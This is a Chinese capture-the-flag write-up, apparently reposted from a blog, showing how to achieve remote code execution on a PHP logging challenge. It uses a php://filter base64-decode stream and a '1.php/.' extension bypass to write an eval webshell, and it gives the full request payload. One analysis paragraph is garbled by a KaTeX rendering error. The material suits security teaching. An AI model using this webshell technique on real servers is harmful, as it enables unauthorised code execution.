利用文件操作函数结合PHP伪协议RCE

  1. 获得源码:http://ip:port/?read-source=1

     <?php
     if(isset($_GET['read-source'])) {
         exit(show_source(__FILE__));
     }
     define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
     if(!is_dir(DATA_DIR)) {
         mkdir(DATA_DIR, 0755, true);
     }
     chdir(DATA_DIR);
     $domain = isset($_POST['domain']) ? $_POST['domain'] : '';
     $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
        
     $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
     $output = shell_exec($command);
     $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
    
     $log_name = $_SERVER['SERVER_NAME'] . $log_name;
     if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
         file_put_contents($log_name, $output);
     }
     echo $output;
    
  2. 解题思路:

    1. 源码分析,可知我们当前路径是在/data/md5($_SERVER['REMOTE_ADDR'])下。通过POST我们可以传入两个参数: l o g log, domain,最终生成文件。对KaTeX parse error: Expected 'EOF', got '&' at position 113: …lchars(),将特殊字符(&̲,",',<,>)转换为HTM…output,作为文件的内容。再对 l o g log前添加 _SERVER[‘SERVER_NAME’],再对其后缀名进行判断,作为文件的名字。
    2. 通过对源码的分析,我们应有如下思路:
      有了escapeshellarg()和htmlspecialchars(),命令注入行不通了。
      正道应该是通过可控参数文件名和文件内容,传入文件实现RCE
      由于存在htmlspecialchars(),难以突破。通过BASE64编码绕过,再通过伪协议解析文件内容再写入新文件,最后再绕过后缀名,完事
  3. Do it:

    1. 控制文件名:
      可知DATA_DIR是/data/md5($_SERVER['REMOTE_ADDR'])
      自己算一下可知是/data/580d83a45e88eb6b9e247cb5ee888fb1/
      最后的文件名是:$log_name = $_SERVER['SERVER_NAME'] . $log_name;
      其中$_SERVER['SERVER_NAME']在本题是取REQUEST中HOST的值
      过后缀名可以通过1.php/.来绕过过滤

    2. 控制文件内容:
      由于要对文件内容Base64编码,所以要保证在payload之前的字符数量是4的倍数。
      然后对<?php @eval($_GET['sh']);?>进行base64编码,发现结果会有等号,并且在之后上传的过程中页面为空白。可能是因为两个过滤函数对符号的干扰,所以构建base64时需补齐构建出无符号字符串。

    3. 通过伪协议上传:
      因为存在file_put_contents($log_name, $output),其第一个参数可以传入stream,即可以传入伪协议
      构建payload:

       Host:php
       #php://filter/write  将$output解码并写入1.php
       domain=PD9waHAgQGV2YWwoJF9HRVRbJ3MnXSk7Pz5h&log=://filter/write=convert.base64-decode/resource=1.php/.  
      

      之后通过传入sh参数即可获得flag:flag{8fd9046cde2d53d1ceea8970286fd38c}

猜你喜欢

转载自blog.csdn.net/u013457794/article/details/89010272